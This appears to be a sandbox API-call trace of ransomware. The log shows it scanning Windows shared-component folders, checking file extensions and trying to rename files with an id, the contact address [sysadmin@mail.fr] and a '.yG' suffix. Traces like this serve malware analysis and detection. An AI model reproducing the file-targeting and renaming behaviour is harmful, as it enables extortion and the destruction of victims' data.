	[0045.083] lstrlenW (lpString=".bz2") returned 4
	[0045.083] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.083] lstrlenW (lpString=".7z") returned 3
	[0045.083] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.084] lstrlenW (lpString=".dbf") returned 4
	[0045.084] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.084] lstrlenW (lpString=".1cd") returned 4
	[0045.084] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.084] lstrlenW (lpString=".jpg") returned 4
	[0045.084] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.084] lstrlenW (lpString=".doc") returned 4
	[0045.084] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.084] lstrlenW (lpString=".docx") returned 5
	[0045.084] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0045.084] lstrlenW (lpString=".pdf") returned 4
	[0045.084] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.084] lstrlenW (lpString=".xls") returned 4
	[0045.084] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.084] lstrlenW (lpString=".xlsx") returned 5
	[0045.084] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0045.084] lstrlenW (lpString=".ppt") returned 4
	[0045.084] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.084] lstrlenW (lpString=".zip") returned 4
	[0045.084] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.084] lstrlenW (lpString=".rar") returned 4
	[0045.084] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.084] lstrlenW (lpString=".bz2") returned 4
	[0045.084] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.084] lstrlenW (lpString=".7z") returned 3
	[0045.085] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.085] lstrlenW (lpString=".dbf") returned 4
	[0045.085] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.085] lstrlenW (lpString=".1cd") returned 4
	[0045.085] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.085] lstrlenW (lpString=".jpg") returned 4
	[0045.085] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.085] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.085] lstrlenW (lpString="Content.xml") returned 11
	[0045.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0045.600] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=27045) returned 1
	[0045.600] CloseHandle (hObject=0x2e0) returned 1
	[0045.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0045.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.600] lstrlenW (lpString=".doc") returned 4
	[0045.601] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.601] lstrlenW (lpString=".docx") returned 5
	[0045.601] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0045.601] lstrlenW (lpString=".pdf") returned 4
	[0045.601] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.601] lstrlenW (lpString=".xls") returned 4
	[0045.601] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.601] lstrlenW (lpString=".xlsx") returned 5
	[0045.601] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0045.601] lstrlenW (lpString=".ppt") returned 4
	[0045.601] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.601] lstrlenW (lpString=".zip") returned 4
	[0045.601] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.601] lstrlenW (lpString=".rar") returned 4
	[0045.601] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.601] lstrlenW (lpString=".bz2") returned 4
	[0045.601] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.601] lstrlenW (lpString=".7z") returned 3
	[0045.601] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.601] lstrlenW (lpString=".dbf") returned 4
	[0045.601] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.601] lstrlenW (lpString=".1cd") returned 4
	[0045.601] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.601] lstrlenW (lpString=".jpg") returned 4
	[0045.601] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.601] lstrlenW (lpString=".doc") returned 4
	[0045.601] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.601] lstrlenW (lpString=".docx") returned 5
	[0045.601] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0045.601] lstrlenW (lpString=".pdf") returned 4
	[0045.601] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.602] lstrlenW (lpString=".xls") returned 4
	[0045.602] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.602] lstrlenW (lpString=".xlsx") returned 5
	[0045.602] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0045.602] lstrlenW (lpString=".ppt") returned 4
	[0045.602] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.602] lstrlenW (lpString=".zip") returned 4
	[0045.602] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.602] lstrlenW (lpString=".rar") returned 4
	[0045.602] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.602] lstrlenW (lpString=".bz2") returned 4
	[0045.602] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.602] lstrlenW (lpString=".7z") returned 3
	[0045.602] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.602] lstrlenW (lpString=".dbf") returned 4
	[0045.602] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.602] lstrlenW (lpString=".1cd") returned 4
	[0045.602] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0045.602] lstrlenW (lpString=".jpg") returned 4
	[0045.602] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.602] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0045.602] lstrlenW (lpString="correct.avi") returned 11
	[0045.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0045.848] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=180172) returned 1
	[0045.848] CloseHandle (hObject=0x2e0) returned 1
	[0045.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
	[0045.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.849] lstrlenW (lpString=".doc") returned 4
	[0045.849] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.849] lstrlenW (lpString=".docx") returned 5
	[0045.849] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0045.849] lstrlenW (lpString=".pdf") returned 4
	[0045.849] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.849] lstrlenW (lpString=".xls") returned 4
	[0045.849] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.849] lstrlenW (lpString=".xlsx") returned 5
	[0045.849] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0045.849] lstrlenW (lpString=".ppt") returned 4
	[0045.849] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.849] lstrlenW (lpString=".zip") returned 4
	[0045.849] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.849] lstrlenW (lpString=".rar") returned 4
	[0045.849] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.849] lstrlenW (lpString=".bz2") returned 4
	[0045.849] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.849] lstrlenW (lpString=".7z") returned 3
	[0045.849] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.849] lstrlenW (lpString=".dbf") returned 4
	[0045.849] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.849] lstrlenW (lpString=".1cd") returned 4
	[0045.849] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.849] lstrlenW (lpString=".jpg") returned 4
	[0045.849] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.849] lstrlenW (lpString=".doc") returned 4
	[0045.849] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.850] lstrlenW (lpString=".docx") returned 5
	[0045.850] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0045.850] lstrlenW (lpString=".pdf") returned 4
	[0045.850] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.850] lstrlenW (lpString=".xls") returned 4
	[0045.850] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.850] lstrlenW (lpString=".xlsx") returned 5
	[0045.850] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0045.850] lstrlenW (lpString=".ppt") returned 4
	[0045.850] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.850] lstrlenW (lpString=".zip") returned 4
	[0045.850] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.850] lstrlenW (lpString=".rar") returned 4
	[0045.850] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.850] lstrlenW (lpString=".bz2") returned 4
	[0045.850] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.850] lstrlenW (lpString=".7z") returned 3
	[0045.850] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.850] lstrlenW (lpString=".dbf") returned 4
	[0045.850] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.850] lstrlenW (lpString=".1cd") returned 4
	[0045.850] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0045.850] lstrlenW (lpString=".jpg") returned 4
	[0045.850] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.850] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0045.850] lstrlenW (lpString="FlickAnimation.avi") returned 18
	[0045.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.964] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=1600388) returned 1
	[0045.964] CloseHandle (hObject=0x334) returned 1
	[0045.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20
	[0045.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0045.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.964] lstrlenW (lpString=".doc") returned 4
	[0045.964] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.964] lstrlenW (lpString=".docx") returned 5
	[0045.964] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0045.964] lstrlenW (lpString=".pdf") returned 4
	[0045.964] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.964] lstrlenW (lpString=".xls") returned 4
	[0045.964] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.964] lstrlenW (lpString=".xlsx") returned 5
	[0045.964] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0045.964] lstrlenW (lpString=".ppt") returned 4
	[0045.964] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.965] lstrlenW (lpString=".zip") returned 4
	[0045.965] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString=".rar") returned 4
	[0045.965] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString=".bz2") returned 4
	[0045.965] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString=".7z") returned 3
	[0045.965] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.965] lstrlenW (lpString=".dbf") returned 4
	[0045.965] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.965] lstrlenW (lpString=".1cd") returned 4
	[0045.965] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.965] lstrlenW (lpString=".jpg") returned 4
	[0045.965] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.965] lstrlenW (lpString=".doc") returned 4
	[0045.965] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString=".docx") returned 5
	[0045.965] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0045.965] lstrlenW (lpString=".pdf") returned 4
	[0045.965] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString=".xls") returned 4
	[0045.965] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString=".xlsx") returned 5
	[0045.965] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0045.965] lstrlenW (lpString=".ppt") returned 4
	[0045.965] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.965] lstrlenW (lpString=".zip") returned 4
	[0045.965] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString=".rar") returned 4
	[0045.965] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0045.965] lstrlenW (lpString=".bz2") returned 4
	[0045.966] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0045.966] lstrlenW (lpString=".7z") returned 3
	[0045.966] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0045.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.966] lstrlenW (lpString=".dbf") returned 4
	[0045.966] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0045.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.966] lstrlenW (lpString=".1cd") returned 4
	[0045.966] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0045.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69
	[0045.966] lstrlenW (lpString=".jpg") returned 4
	[0045.966] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0045.966] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.966] lstrlenW (lpString="insert.xml") returned 10
	[0045.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.975] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=215) returned 1
	[0045.975] CloseHandle (hObject=0x334) returned 1
	[0045.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20
	[0045.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.975] lstrlenW (lpString=".doc") returned 4
	[0045.976] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.976] lstrlenW (lpString=".docx") returned 5
	[0045.976] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0045.976] lstrlenW (lpString=".pdf") returned 4
	[0045.976] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.976] lstrlenW (lpString=".xls") returned 4
	[0045.976] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.976] lstrlenW (lpString=".xlsx") returned 5
	[0045.976] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0045.976] lstrlenW (lpString=".ppt") returned 4
	[0045.976] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.976] lstrlenW (lpString=".zip") returned 4
	[0045.976] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.976] lstrlenW (lpString=".rar") returned 4
	[0045.976] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.976] lstrlenW (lpString=".bz2") returned 4
	[0045.976] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.976] lstrlenW (lpString=".7z") returned 3
	[0045.976] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.976] lstrlenW (lpString=".dbf") returned 4
	[0045.976] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.976] lstrlenW (lpString=".1cd") returned 4
	[0045.976] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.976] lstrlenW (lpString=".jpg") returned 4
	[0045.976] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.976] lstrlenW (lpString=".doc") returned 4
	[0045.976] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.976] lstrlenW (lpString=".docx") returned 5
	[0045.976] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0045.976] lstrlenW (lpString=".pdf") returned 4
	[0045.977] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.977] lstrlenW (lpString=".xls") returned 4
	[0045.977] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.977] lstrlenW (lpString=".xlsx") returned 5
	[0045.977] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0045.977] lstrlenW (lpString=".ppt") returned 4
	[0045.977] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.977] lstrlenW (lpString=".zip") returned 4
	[0045.977] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.977] lstrlenW (lpString=".rar") returned 4
	[0045.977] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.977] lstrlenW (lpString=".bz2") returned 4
	[0045.977] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.977] lstrlenW (lpString=".7z") returned 3
	[0045.977] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.977] lstrlenW (lpString=".dbf") returned 4
	[0045.977] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.977] lstrlenW (lpString=".1cd") returned 4
